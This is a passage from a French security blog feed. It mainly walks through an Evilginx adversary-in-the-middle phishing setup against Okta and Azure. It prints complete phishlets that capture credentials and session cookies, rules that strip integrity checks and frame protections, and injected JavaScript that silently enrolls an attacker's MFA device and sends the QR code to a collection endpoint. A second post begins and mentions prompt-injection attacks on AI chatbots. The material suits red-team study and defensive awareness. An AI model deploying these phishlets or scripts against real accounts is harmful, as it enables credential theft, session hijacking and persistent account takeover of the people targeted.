<p style="text-align: justify;">Avec un tel modèle de correspondance et de remplacement,<strong> Evilginx est capable de maintenir l&rsquo;utilisateur dans l&rsquo;application malveillante</strong> même si l&rsquo;IDP tente de rediriger l&rsquo;utilisateur vers une page spécifique.</p>
<p> </p>
<h4 style="text-align: justify;">Limites du remplacement automatique</h4>
<p style="text-align: justify;">Le remplacement automatique des phishlets Evilginx a ses limites. En effet, <strong>il arrive que le serveur n’indique pas directement le domaine en dur dans la page,</strong> mais qu&rsquo;il le construise par le biais d&rsquo;un script JS.</p>
<p style="text-align: justify;">Dans ce cas, Evilginx n&rsquo;est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.</p>
<h5> </h5>
<h5>CORS</h5>
<p style="text-align: justify;">Dans Okta, le flux d&rsquo;authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script <strong>construit dynamiquement l&rsquo;URL de redirection</strong> : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d&rsquo;atteindre la page spécifique en utilisant le domaine okta.com,<strong> il échoue en raison de la protection CORS</strong> (tentative d&rsquo;atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :</p>
<figure id="attachment_26627" aria-describedby="caption-attachment-26627" style="width: 1009px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class=" wp-image-26627" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-367x191.png" alt="Image montrant l'erreur provoquée par les CORS d'okta" width="1009" height="525" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3.png 849w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /><figcaption id="caption-attachment-26627" class="wp-caption-text"><em>Les CORS Okta</em></figcaption></figure>
<p style="text-align: justify;">En déboguant l&rsquo;application, il est possible de trouver l&rsquo;endroit où la construction de l&rsquo;URL est effectuée et de la modifier en remplaçant le motif correspondant :</p>
<pre style="text-align: justify;"><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p style="text-align: justify;">Avec cette simple indication, Evilginx remplacera tout motif correspondant, <strong>évitant ainsi la redirection de l&rsquo;utilisateur en dehors de l&rsquo;application de phishing.</strong></p>
<h5> </h5>
<h5 style="text-align: justify;">Intégrité du JS</h5>
<p style="text-align: justify;">Lorsque l&rsquo;on modifie le fichier JS ou tout autre fichier via Evilginx,<strong> cela peut causer des problèmes en raison du hash d’intégrité du script</strong> :</p>
<pre style="text-align: justify;">&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p style="text-align: justify;">En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l&rsquo;application refusera de le charger.</p>
<figure id="attachment_26684" aria-describedby="caption-attachment-26684" style="width: 1165px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26684" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-437x48.png" alt="Image montrant l'erreur liée au hash d’intégrité" width="1165" height="128" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash.png 1737w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /><figcaption id="caption-attachment-26684" class="wp-caption-text"><em>Erreur liée au hash d’intégrité</em></figcaption></figure>
<p style="text-align: justify;">Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d&rsquo;intégrité :</p>
<pre style="text-align: justify;">Replace: integrity="[^"]*"<br />By: integrity=''</pre>
<h5> </h5>
<h5 style="text-align: justify;">Validation de l&rsquo;URI de redirection</h5>
<p style="text-align: justify;">Le dernier point est <strong>la validation de l&rsquo;URI de redirection</strong>. En effet, lors de l&rsquo;authentification OIDC, le client sera redirigé vers une page dont l&rsquo;URL est du type :</p>
<pre style="text-align: justify;">/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p style="text-align: justify;">Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-xxxx.okta.com sera automatiquement changé en trial-xxxxx.evilginx.com.</p>
<p style="text-align: justify;">Cela déclenchera le processus de validation de l&rsquo;uri de redirection. Le domaine evilginx.com n&rsquo;ayant pas été configuré du côté d&rsquo;Okta comme un domaine de redirection valide,<strong> Okta affichera l&rsquo;erreur suivante :</strong></p>
<figure id="attachment_26631" aria-describedby="caption-attachment-26631" style="width: 250px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26631" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-175x191.png" alt="Image montrant l'erreur  400 - Bad Request dans Okta" width="250" height="273" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5.png 269w" sizes="auto, (max-width: 250px) 100vw, 250px" /><figcaption id="caption-attachment-26631" class="wp-caption-text"><em>Erreur dans Okta</em></figcaption></figure>
<p style="text-align: justify;">L&rsquo;URI de redirection est <strong>construit dynamiquement par Okta en prenant le domaine de connexion </strong>et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l&rsquo;URL et en s&rsquo;assurant que l&rsquo;URI de rappel est celui attendu par Okta :</p>
<p style="text-align: justify;">En utilisant Evilginx, il est<strong> possible d&rsquo;utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri </strong>à la bonne URI :</p>
<pre style="text-align: justify;"><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")</pre>
<h4> </h4>
<h4 style="text-align: justify;">Phishlets basiques</h4>
<h5 style="text-align: justify;">Okta</h5>
<pre style="text-align: justify;">min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br /><br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Automatiser les actions critiques</h2>
<p> </p>
<h3 style="text-align: justify;">Ajouter un nouvel appareil au MFA</h3>
<p style="text-align: justify;">Une fois qu&rsquo;un attaquant est en mesure de récupérer un accès initial à la session de l&rsquo;utilisateur, il doit mettre en place une persistance de l&rsquo;accès car les cookies ont une durée de validité limitée.</p>
<p style="text-align: justify;">Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l&rsquo;utilisateur.</p>
<p style="text-align: justify;">Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi,<strong> tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant</strong>.</p>
<p style="text-align: justify;">En revanche, sur certaines plateformes d’identification comme <strong>Okta, l’enregistrement d’un MFA exige une validation MFA préalable</strong>. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.</p>
<p style="text-align: justify;">Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :</p>
<ol style="text-align: justify;">
<li>L’utilisateur s’authentifie une première fois pour accéder à sa session</li>
<li>Evilginx vole les cookies de session</li>
<li>Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan</li>
<li>L’utilisateur revalide son MFA, pensant que la première tentative a échoué</li>
<li>Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil</li>
</ol>
<p style="text-align: justify;">Toutes ces actions <strong>peuvent être automatisées via Evilginx en modifiant les scripts JS.</strong></p>
<p style="text-align: justify;">Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.</p>
<pre style="text-align: justify;">  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />  if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p style="text-align: justify;">Ce script <strong>sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback</strong>. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans <strong>une boucle de redirection infinie à la fin de son authentification</strong>.</p>
<p style="text-align: justify;">Ensuite,<strong> un nouveau code JS est ajouté à la page /help/login</strong>. Ce script permet d’énumérer les technologies MFA disponibles et configurées :</p>
<pre style="text-align: justify;">  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p style="text-align: justify;">Le script <strong>sélectionne la méthode d’authentification “Okta Verify” </strong>et redirige l’utilisateur vers la page de configuration.</p>
<p style="text-align: justify;">Sur cette page de configuration, un nouveau script JS est injecté. <strong>Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA</strong> :</p>
<pre style="text-align: justify;">- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br /><br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p style="text-align: justify;">Une fois que l’utilisateur a validé l’authentification <strong>MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.</strong></p>
<p style="text-align: justify;">L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Aller plus loin</h2>
<p> </p>
<h3 style="text-align: justify;">Okta avec l’authentification Azure</h3>
<p style="text-align: justify;">Certaines entreprises associent deux fournisseurs d&rsquo;identité (IdP) :<strong> Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.</strong></p>
<p style="text-align: justify;">Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.</p>
<p style="text-align: justify;">Pour ce faire, les deux phislets précédents doivent<strong> être fusionnés afin de capturer les deux processus d’authentification.</strong> L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.</p>
<p style="text-align: justify;">Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :</p>
<pre style="text-align: justify;">&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p style="text-align: justify;">Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer</p>
<p style="text-align: justify;">De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.</p>
<p style="text-align: justify;">En résumé<em>, </em><strong>dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.</strong></p>
<h3> </h3>
<h3 style="text-align: justify;">Frame buster</h3>
<p style="text-align: justify;">De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.</p>
<p style="text-align: justify;">L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.</p>
<p style="text-align: justify;">Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:</p>
<figure id="attachment_26689" aria-describedby="caption-attachment-26689" style="width: 969px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26689" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-374x191.png" alt="Image montrant la technique du de &quot;Browser-in-browser&quot;, avec l'affichage d'une fausse pop up qui montre une url de confiance" width="969" height="495" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser.png 680w" sizes="auto, (max-width: 969px) 100vw, 969px" /><figcaption id="caption-attachment-26689" class="wp-caption-text"><em>Exemple de « Browser-in-browser »</em></figcaption></figure>
<p style="text-align: justify;">Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées <em>framebusters</em>.</p>
<p style="text-align: justify;">Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.</p>
<h4> </h4>
<h4 style="text-align: justify;">Self == top</h4>
<p style="text-align: justify;">La technique de <em>framebuster</em> la plus simple consiste à vérifier si la frame actuelle est la frame principale (<em>top frame</em>), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.</p>
<p style="text-align: justify;">Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (<em>match &amp; replace</em>) :</p>
<pre style="text-align: justify;">Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p style="text-align: justify;">Cette modification permet de faire passer l’iframe pour la frame principale (<em>top frame</em>), contournant ainsi la protection.</p>
<h4> </h4>
<h4 style="text-align: justify;">Target=”_top”</h4>
<p style="text-align: justify;">La technique suivante consiste à forcer la soumission du formulaire à rediriger la <em>top frame</em>. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.</p>
<p style="text-align: justify;">Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :</p>
<pre style="text-align: justify;"><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"</pre>
<h4> </h4>
<h4 style="text-align: justify;">Framework specific</h4>
<p style="text-align: justify;">Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de <em>framebusting</em>, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.</p>
<p style="text-align: justify;">Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la <em>top frame</em>. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.</p>
<p style="text-align: justify;">Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :</p>
<pre style="text-align: justify;"><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}</pre>
<h4> </h4>
<h4 style="text-align: justify;">HTTP header</h4>
<p style="text-align: justify;">La dernière technique de <em>framebusting</em> repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.</p>
<p style="text-align: justify;">Il est possible de supprimer cet en-tête à l’aide d’Evilginx :</p>
<pre style="text-align: justify;"><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test</pre>
<h4> </h4>
<h4 style="text-align: justify;">Final phishlet</h4>
<p style="text-align: justify;">The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul style="text-align: justify;">
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: justify;">La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :</p>
<ul style="text-align: justify;">
<li>Récupérer les identifiants Azure</li>
<li>Récupérer les cookies de session Azure</li>
<li>Récupérer les cookies Okta</li>
<li>Récupérer le QR Code d’enrôlement MFA pour Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Exemple d'attaque par phishing" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure</em></p>
<p> </p>
<p style="text-align: justify;">L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (<em>Adversary-in-the-Middle</em>, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).</p>
<p style="text-align: justify;">Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les <em>framebusters</em> et garantir un accès persistant à la session utilisateur.</p>
<p style="text-align: justify;">La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.</p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/">Phishing : Evilginx poussé à ses limites</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Red Teaming IA : État des lieux des risques IA en 2025  </title>
		<link>https://www.riskinsight-wavestone.com/2025/04/red-teaming-ia-etat-des-lieux-des-risques-ia-en-2025/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/04/red-teaming-ia-etat-des-lieux-des-risques-ia-en-2025/#respond</comments>
		
		<dc:creator><![CDATA[Pierre Aubret]]></dc:creator>
		<pubDate>Tue, 15 Apr 2025 12:08:25 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[genai]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[IA Generative]]></category>
		<category><![CDATA[Intelligence Artificielle]]></category>
		<category><![CDATA[LLM]]></category>
		<category><![CDATA[MLOps]]></category>
		<category><![CDATA[red team]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=25788</guid>

					<description><![CDATA[<p>Les systèmes d’IA génératives sont faillibles : en mars 2025, une faille de ChatGPT a été exploitée très largement pour piéger ses utilisateurs ; quelques mois plus tôt, c’est un chatbot santé de Microsoft qui exposait des données sensibles ;...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/04/red-teaming-ia-etat-des-lieux-des-risques-ia-en-2025/">Red Teaming IA : État des lieux des risques IA en 2025  </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Les systèmes d’IA génératives sont faillibles : en mars 2025, une faille de ChatGPT a été exploitée très largement pour piéger ses utilisateurs ; quelques mois plus tôt, c’est un chatbot santé de Microsoft qui exposait des données sensibles ; en décembre, une simple injection de prompt permettait de prendre le contrôle d’un compte utilisateur sur le service concurrent DeepSeek.</p>
<p style="text-align: justify;">Aujourd’hui, les impacts sont limités car la latitude donnée au système d’IA est encore faible. Demain, avec l’essor de l’IA agentique, l’accélération de l’adoption de l’IA générative et la multiplication des usages, les impacts augmenteront. A l’instar des failles exploitées massivement par le rançongiciel WannaCry en 2017, des attaques cyber majeures auront certainement lieu sur les systèmes d’IA et pourraient se traduire par des blessés ou des faillites financières.</p>
<p style="text-align: justify;">Ces risques, ils s’anticipent. Un des moyens les plus pragmatiques d’y arriver, c’est d’endosser le rôle d’une personne malveillante en tentant de détourner un système d’IA pour étudier sa robustesse. Cela permet de mettre en lumière les failles du système et la façon de les corriger. Spécifiquement dans le cas de l’IA générative, cette discipline est appelée <em>RedTeaming</em> IA. Dans cet article, nous vous proposons d’en découvrir les contours. Nous insisterons particulièrement sur nos retours terrains concernant les principales vulnérabilités rencontrées.</p>
<p style="text-align: justify;"><em>Afin d’être au plus proche de ce qui se fait sur le marché, l’article se concentre exclusivement sur le RedTeaming de systèmes d’IA générative.</em></p>
<p style="text-align: justify;"><em> </em></p>
<h2 style="text-align: justify;">La GenAI, comment ça marche ?</h2>
<p> </p>
<p style="text-align: justify;">La GenAI s’appuie sur des composants qui sont souvent distribués entre des environnements <em>cloud</em> et <em>on-premise</em>. Généralement, plus un système d’IA générative offre de fonctionnalités (rechercher des informations, lancer des actions, exécuter du code, etc.), plus les composants sont nombreux. D’un point de vue cybersécurité, cela expose à de multiples risques :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-25838 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/Riskinsight.png" alt="" width="1732" height="936" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/Riskinsight.png 1732w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/Riskinsight-353x191.png 353w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/Riskinsight-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/Riskinsight-768x415.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/04/Riskinsight-1536x830.png 1536w" sizes="auto, (max-width: 1732px) 100vw, 1732px" /></p>
<p style="text-align: center;"><em> Schéma d&rsquo;un système d&rsquo;IA générative et des problématiques soulevées par composant</em></p>
<p> </p>
<p style="text-align: justify;">En règle générale, un attaquant n’a uniquement accès qu’à une interface Web sur laquelle il peut interagir (cliquer, écrire du texte sur des champs, &#8230;). A partir de là, il peut :</p>
<ul>
<li>Mener des attaques de cybersécurité classiques (insertion de script malveillant – XSS, etc.) en s’appuyant sur les failles des composants du système d’IA ;</li>
<li>Mener des attaques d’un genre nouveau, en écrivant en langage naturel pour détourner les fonctionnalités offertes par le système d’IA générative derrière l’interface Web : exfiltration de données, réalisation d’actions malveillantes à l’aide des privilèges du système d’IA générative, etc.</li>
</ul>
